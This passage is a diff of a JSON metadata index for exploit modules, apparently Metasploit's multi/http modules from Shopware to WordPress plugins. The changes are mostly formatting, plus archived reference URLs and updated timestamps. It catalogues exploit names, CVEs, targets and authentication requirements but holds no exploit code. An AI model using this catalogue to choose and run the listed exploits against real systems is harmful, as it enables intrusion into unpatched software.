"aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-06", "type": "exploit", @@ -113858,17 +101090,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/shiro_rememberme_v124_deserialize": { "name": "Apache Shiro v1.2.4 Cookie RememberME Deserial RCE", "fullname": "exploit/multi/http/shiro_rememberme_v124_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-07", "type": "exploit", @@ -113926,9 +101155,7 @@ "exploit_multi/http/shopware_createinstancefromnamedarguments_rce": { "name": "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE", "fullname": "exploit/multi/http/shopware_createinstancefromnamedarguments_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-09", "type": "exploit", @@ -113970,17 +101197,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/simple_backdoors_exec": { "name": "Simple Backdoor Shell Remote Code Execution", "fullname": "exploit/multi/http/simple_backdoors_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-08", "type": "exploit", @@ -114021,17 +101245,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/sit_file_upload": { "name": "Support Incident Tracker Remote Command Execution", "fullname": "exploit/multi/http/sit_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-10", "type": "exploit", @@ -114076,17 +101297,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/snortreport_exec": { "name": "Snortreport nmap.php/nbtscan.php Remote Command Execution", "fullname": "exploit/multi/http/snortreport_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-09-19", "type": "exploit", @@ -114126,17 +101344,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/solarwinds_store_manager_auth_filter": { "name": "SolarWinds Storage Manager Authentication Bypass", "fullname": "exploit/multi/http/solarwinds_store_manager_auth_filter", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-19", "type": "exploit", @@ -114177,17 +101392,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/solr_velocity_rce": { "name": "Apache Solr Remote Code Execution via Velocity Template", "fullname": "exploit/multi/http/solr_velocity_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-10-29", "type": "exploit", @@ -114259,9 +101471,7 @@ "exploit_multi/http/sonicwall_gms_upload": { "name": "SonicWALL GMS 6 Arbitrary File Upload", "fullname": "exploit/multi/http/sonicwall_gms_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-17", "type": "exploit", @@ -114307,17 +101517,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/sonicwall_scrutinizer_methoddetail_sqli": { "name": "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection", "fullname": "exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-07-24", "type": "exploit", @@ -114362,17 +101569,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/sonicwall_shell_injection_cve_2023_34124": { "name": "Sonicwall", "fullname": "exploit/multi/http/sonicwall_shell_injection_cve_2023_34124", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-12", "type": "exploit", @@ -114435,9 +101639,7 @@ "exploit_multi/http/spip_bigup_unauth_rce": { "name": "SPIP BigUp Plugin Unauthenticated RCE", "fullname": "exploit/multi/http/spip_bigup_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-09-06", "type": "exploit", @@ -114501,9 +101703,7 @@ "exploit_multi/http/spip_connect_exec": { "name": "SPIP connect Parameter PHP Injection", "fullname": "exploit/multi/http/spip_connect_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-04", "type": "exploit", @@ -114566,9 +101766,7 @@ "exploit_multi/http/spip_porte_plume_previsu_rce": { "name": "SPIP Unauthenticated RCE via porte_plume Plugin", "fullname": "exploit/multi/http/spip_porte_plume_previsu_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-08-16", "type": "exploit", @@ -114631,9 +101829,7 @@ "exploit_multi/http/spip_rce_form": { "name": "SPIP form PHP Injection", "fullname": "exploit/multi/http/spip_rce_form", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-02-27", "type": "exploit", @@ -114696,9 +101892,7 @@ "exploit_multi/http/splunk_mappy_exec": { "name": "Splunk Search Remote Code Execution", "fullname": "exploit/multi/http/splunk_mappy_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-12-12", "type": "exploit", @@ -114742,17 +101936,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/splunk_privilege_escalation_cve_2023_32707": { "name": "Splunk \"edit_user\" Capability Privilege Escalation", "fullname": "exploit/multi/http/splunk_privilege_escalation_cve_2023_32707", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-01", "type": "exploit", @@ -114814,9 +102005,7 @@ "exploit_multi/http/splunk_upload_app_exec": { "name": "Splunk Custom App Remote Code Execution", "fullname": "exploit/multi/http/splunk_upload_app_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-09-27", "type": "exploit", @@ -114866,17 +102055,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/spree_search_exec": { "name": "Spreecommerce 0.60.1 Arbitrary Command Execution", "fullname": "exploit/multi/http/spree_search_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-05", "type": "exploit", @@ -114916,17 +102102,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/spree_searchlogic_exec": { "name": "Spreecommerce Arbitrary Command Execution", "fullname": "exploit/multi/http/spree_searchlogic_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-04-19", "type": "exploit", @@ -114966,17 +102149,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/spring_cloud_function_spel_injection": { "name": "Spring Cloud Function SpEL Injection", "fullname": "exploit/multi/http/spring_cloud_function_spel_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-03-29", "type": "exploit", @@ -115039,9 +102219,7 @@ "exploit_multi/http/spring_framework_rce_spring4shell": { "name": "Spring Framework Class property RCE (Spring4Shell)", "fullname": "exploit/multi/http/spring_framework_rce_spring4shell", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-03-31", "type": "exploit", @@ -115107,9 +102285,7 @@ "exploit_multi/http/struts2_code_exec_showcase": { "name": "Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution", "fullname": "exploit/multi/http/struts2_code_exec_showcase", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-07", "type": "exploit", @@ -115153,17 +102329,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/struts2_content_type_ognl": { "name": "Apache Struts Jakarta Multipart Parser OGNL Injection", "fullname": "exploit/multi/http/struts2_content_type_ognl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-07", "type": "exploit", @@ -115207,17 +102380,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/struts2_multi_eval_ognl": { "name": "Apache Struts 2 Forced Multi OGNL Evaluation", "fullname": "exploit/multi/http/struts2_multi_eval_ognl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-14", "type": "exploit", @@ -115285,9 +102455,7 @@ "exploit_multi/http/struts2_namespace_ognl": { "name": "Apache Struts 2 Namespace Redirect OGNL Injection", "fullname": "exploit/multi/http/struts2_namespace_ognl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-08-22", "type": "exploit", @@ -115334,17 +102502,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/struts2_rest_xstream": { "name": "Apache Struts 2 REST Plugin XStream RCE", "fullname": "exploit/multi/http/struts2_rest_xstream", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-09-05", "type": "exploit", @@ -115392,17 +102557,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/struts_code_exec": { "name": "Apache Struts Remote Command Execution", "fullname": "exploit/multi/http/struts_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-07-13", "type": "exploit", @@ -115445,17 +102607,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/struts_code_exec_classloader": { "name": "Apache Struts ClassLoader Manipulation Remote Code Execution", "fullname": "exploit/multi/http/struts_code_exec_classloader", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-03-06", "type": "exploit", @@ -115506,17 +102665,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/struts_code_exec_exception_delegator": { "name": "Apache Struts Remote Command Execution", "fullname": "exploit/multi/http/struts_code_exec_exception_delegator", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-06", "type": "exploit", @@ -115563,17 +102719,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/struts_code_exec_parameters": { "name": "Apache Struts ParametersInterceptor Remote Code Execution", "fullname": "exploit/multi/http/struts_code_exec_parameters", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-01", "type": "exploit", @@ -115620,17 +102773,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/struts_default_action_mapper": { "name": "Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution", "fullname": "exploit/multi/http/struts_default_action_mapper", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-07-02", "type": "exploit", @@ -115676,17 +102826,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/struts_dev_mode": { "name": "Apache Struts 2 Developer Mode OGNL Execution", "fullname": "exploit/multi/http/struts_dev_mode", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-06", "type": "exploit", @@ -115731,17 +102878,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/struts_dmi_exec": { "name": "Apache Struts Dynamic Method Invocation Remote Code Execution", "fullname": "exploit/multi/http/struts_dmi_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-04-27", "type": "exploit", @@ -115784,17 +102928,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/struts_dmi_rest_exec": { "name": "Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution", "fullname": "exploit/multi/http/struts_dmi_rest_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-01", "type": "exploit", @@ -115836,17 +102977,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/struts_include_params": { "name": "Apache Struts includeParams Remote Code Execution", "fullname": "exploit/multi/http/struts_include_params", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-05-24", "type": "exploit", @@ -115893,17 +103031,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/stunshell_eval": { "name": "STUNSHELL Web Shell Remote PHP Code Execution", "fullname": "exploit/multi/http/stunshell_eval", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-23", "type": "exploit", @@ -115944,17 +103079,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/stunshell_exec": { "name": "STUNSHELL Web Shell Remote Code Execution", "fullname": "exploit/multi/http/stunshell_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-23", "type": "exploit", @@ -115996,17 +103128,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/subrion_cms_file_upload_rce": { "name": "Intelliants Subrion CMS 4.2.1 - Authenticated File Upload Bypass to RCE", "fullname": "exploit/multi/http/subrion_cms_file_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-11-04", "type": "exploit", @@ -116069,9 +103198,7 @@ "exploit_multi/http/sugarcrm_webshell_cve_2023_22952": { "name": "SugarCRM unauthenticated Remote Code Execution (RCE)", "fullname": "exploit/multi/http/sugarcrm_webshell_cve_2023_22952", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-12-28", "type": "exploit", @@ -116136,9 +103263,7 @@ "exploit_multi/http/sun_jsws_dav_options": { "name": "Sun Java System Web Server WebDAV OPTIONS Buffer Overflow", "fullname": "exploit/multi/http/sun_jsws_dav_options", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-01-20", "type": "exploit", @@ -116179,17 +103304,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/sysaid_auth_file_upload": { "name": "SysAid Help Desk Administrator Portal Arbitrary File Upload", "fullname": "exploit/multi/http/sysaid_auth_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-06-03", "type": "exploit", @@ -116231,17 +103353,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/sysaid_rdslogs_file_upload": { "name": "SysAid Help Desk 'rdslogs' Arbitrary File Upload", "fullname": "exploit/multi/http/sysaid_rdslogs_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-06-03", "type": "exploit", @@ -116281,17 +103400,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/testlink_upload_exec": { "name": "TestLink v1.9.3 Arbitrary File Upload Vulnerability", "fullname": "exploit/multi/http/testlink_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-13", "type": "exploit", @@ -116333,17 +103449,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/tomcat_jsp_upload_bypass": { "name": "Tomcat RCE via JSP Upload Bypass", "fullname": "exploit/multi/http/tomcat_jsp_upload_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-03", "type": "exploit", @@ -116404,9 +103517,7 @@ "exploit_multi/http/tomcat_mgr_deploy": { "name": "Apache Tomcat Manager Application Deployer Authenticated Code Execution", "fullname": "exploit/multi/http/tomcat_mgr_deploy", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-11-09", "type": "exploit", @@ -116461,17 +103572,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/tomcat_mgr_upload": { "name": "Apache Tomcat Manager Authenticated Upload Code Execution", "fullname": "exploit/multi/http/tomcat_mgr_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-11-09", "type": "exploit", @@ -116525,17 +103633,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/torchserver_cve_2023_43654": { "name": "PyTorch Model Server Registration and Deserialization RCE", "fullname": "exploit/multi/http/torchserver_cve_2023_43654", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-03", "type": "exploit", @@ -116601,9 +103706,7 @@ "exploit_multi/http/totaljs_cms_widget_exec": { "name": "Total.js CMS 12 Widget JavaScript Code Injection", "fullname": "exploit/multi/http/totaljs_cms_widget_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-08-30", "type": "exploit", @@ -116663,9 +103766,7 @@ "exploit_multi/http/traq_plugin_exec": { "name": "Traq admincp/common.php Remote Code Execution", "fullname": "exploit/multi/http/traq_plugin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-12-12", "type": "exploit", @@ -116707,17 +103808,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi": { "name": "Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution", "fullname": "exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-10", "type": "exploit", @@ -116759,17 +103857,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/ubiquiti_unifi_log4shell": { "name": "UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)", "fullname": "exploit/multi/http/ubiquiti_unifi_log4shell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-09", "type": "exploit", @@ -116835,9 +103930,7 @@ "exploit_multi/http/uptime_file_upload_1": { "name": "Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload", "fullname": "exploit/multi/http/uptime_file_upload_1", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-19", "type": "exploit", @@ -116878,17 +103971,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/uptime_file_upload_2": { "name": "Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload", "fullname": "exploit/multi/http/uptime_file_upload_2", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-18", "type": "exploit", @@ -116930,17 +104020,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/v0pcr3w_exec": { "name": "v0pCr3w Web Shell Remote Code Execution", "fullname": "exploit/multi/http/v0pcr3w_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-23", "type": "exploit", @@ -116982,17 +104069,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/vbseo_proc_deutf": { "name": "vBSEO proc_deutf() Remote PHP Code Injection", "fullname": "exploit/multi/http/vbseo_proc_deutf", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-23", "type": "exploit", @@ -117034,17 +104118,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/vbulletin_getindexablecontent": { "name": "vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection", "fullname": "exploit/multi/http/vbulletin_getindexablecontent", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2020-03-12", "type": "exploit", @@ -117102,9 +104183,7 @@ "exploit_multi/http/vbulletin_unserialize": { "name": "vBulletin 5.1.2 Unserialize Code Execution", "fullname": "exploit/multi/http/vbulletin_unserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-04", "type": "exploit", @@ -117117,7 +104196,7 @@ "references": [ "CVE-2015-7808", "EDB-38629", - "URL-http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq", + "URL-http://web.archive.org/web/20160608045552/http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq", "URL-http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/" ], "platform": "PHP", @@ -117143,24 +104222,21 @@ "vBulletin 5.0.X", "vBulletin 5.1.X" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/multi/http/vbulletin_unserialize.rb", "is_install_path": true, "ref_name": "multi/http/vbulletin_unserialize", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/vbulletin_widget_template_rce": { "name": "vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.", "fullname": "exploit/multi/http/vbulletin_widget_template_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-08-09", "type": "exploit", @@ -117219,9 +104295,7 @@ "exploit_multi/http/vbulletin_widgetconfig_rce": { "name": "vBulletin widgetConfig RCE", "fullname": "exploit/multi/http/vbulletin_widgetconfig_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-09-23", "type": "exploit", @@ -117233,7 +104307,7 @@ "references": [ "CVE-2019-16759", "URL-https://seclists.org/fulldisclosure/2019/Sep/31", - "URL-https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html" + "URL-http://web.archive.org/web/20250117152609/https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html" ], "platform": "PHP,Unix,Windows", "arch": "cmd, php", @@ -117258,7 +104332,7 @@ "Unix (CMD In-Memory)", "Windows (CMD In-Memory)" ], - "mod_time": "2020-09-18 11:38:43 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb", "is_install_path": true, "ref_name": "multi/http/vbulletin_widgetconfig_rce", @@ -117282,9 +104356,7 @@ "exploit_multi/http/visual_mining_netcharts_upload": { "name": "Visual Mining NetCharts Server Remote Code Execution", "fullname": "exploit/multi/http/visual_mining_netcharts_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-03", "type": "exploit", @@ -117325,17 +104397,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/vmware_vcenter_log4shell": { "name": "VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)", "fullname": "exploit/multi/http/vmware_vcenter_log4shell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-09", "type": "exploit", @@ -117407,9 +104476,7 @@ "exploit_multi/http/vmware_vcenter_uploadova_rce": { "name": "VMware vCenter Server Unauthenticated OVA File Upload RCE", "fullname": "exploit/multi/http/vmware_vcenter_uploadova_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2021-02-23", "type": "exploit", @@ -117480,9 +104547,7 @@ "exploit_multi/http/vtiger_install_rce": { "name": "Vtiger Install Unauthenticated Remote Command Execution", "fullname": "exploit/multi/http/vtiger_install_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-03-05", "type": "exploit", @@ -117523,17 +104588,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/vtiger_logo_upload_exec": { "name": "Vtiger CRM - Authenticated Logo Upload RCE", "fullname": "exploit/multi/http/vtiger_logo_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-09-28", "type": "exploit", @@ -117576,17 +104638,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/vtiger_php_exec": { "name": "vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution", "fullname": "exploit/multi/http/vtiger_php_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-30", "type": "exploit", @@ -117626,17 +104685,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/vtiger_soap_upload": { "name": "vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload", "fullname": "exploit/multi/http/vtiger_soap_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-03-26", "type": "exploit", @@ -117684,17 +104740,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/weblogic_admin_handle_rce": { "name": "Oracle WebLogic Server Administration Console Handle RCE", "fullname": "exploit/multi/http/weblogic_admin_handle_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-20", "type": "exploit", @@ -117762,9 +104815,7 @@ "exploit_multi/http/webnms_file_upload": { "name": "WebNMS Framework Server Arbitrary File Upload", "fullname": "exploit/multi/http/webnms_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-04", "type": "exploit", @@ -117807,17 +104858,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/webpagetest_upload_exec": { "name": "WebPageTest Arbitrary PHP File Upload", "fullname": "exploit/multi/http/webpagetest_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-13", "type": "exploit", @@ -117858,17 +104906,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/http/werkzeug_debug_rce": { "name": "Pallete Projects Werkzeug Debugger Remote Code Execution", "fullname": "exploit/multi/http/werkzeug_debug_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2015-06-28", "type": "exploit", @@ -117933,9 +104978,7 @@ "exploit_multi/http/wikka_spam_exec": { "name": "WikkaWiki 1.3.2 Spam Logging PHP Injection", "fullname": "exploit/multi/http/wikka_spam_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-30", "type": "exploit", @@ -117977,17 +105020,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/http/wp_ait_csv_rce": { "name": "WordPress AIT CSV Import Export Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/wp_ait_csv_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-14", "type": "exploit", @@ -118045,9 +105085,7 @@ "exploit_multi/http/wp_automatic_sqli_to_rce": { "name": "WordPress wp-automatic Plugin SQLi Admin Creation", "fullname": "exploit/multi/http/wp_automatic_sqli_to_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-13", "type": "exploit", @@ -118110,9 +105148,7 @@ "exploit_multi/http/wp_backup_migration_php_filter": { "name": "WordPress Backup Migration Plugin PHP Filter Chain RCE", "fullname": "exploit/multi/http/wp_backup_migration_php_filter", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-12-11", "type": "exploit", @@ -118176,9 +105212,7 @@ "exploit_multi/http/wp_bricks_builder_rce": { "name": "Unauthenticated RCE in Bricks Builder Theme", "fullname": "exploit/multi/http/wp_bricks_builder_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-02-19", "type": "exploit", @@ -118241,9 +105275,7 @@ "exploit_multi/http/wp_catch_themes_demo_import": { "name": "Wordpress Plugin Catch Themes Demo Import RCE", "fullname": "exploit/multi/http/wp_catch_themes_demo_import", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-10-21", "type": "exploit", @@ -118306,9 +105338,7 @@ "exploit_multi/http/wp_crop_rce": { "name": "WordPress Crop-image Shell Upload", "fullname": 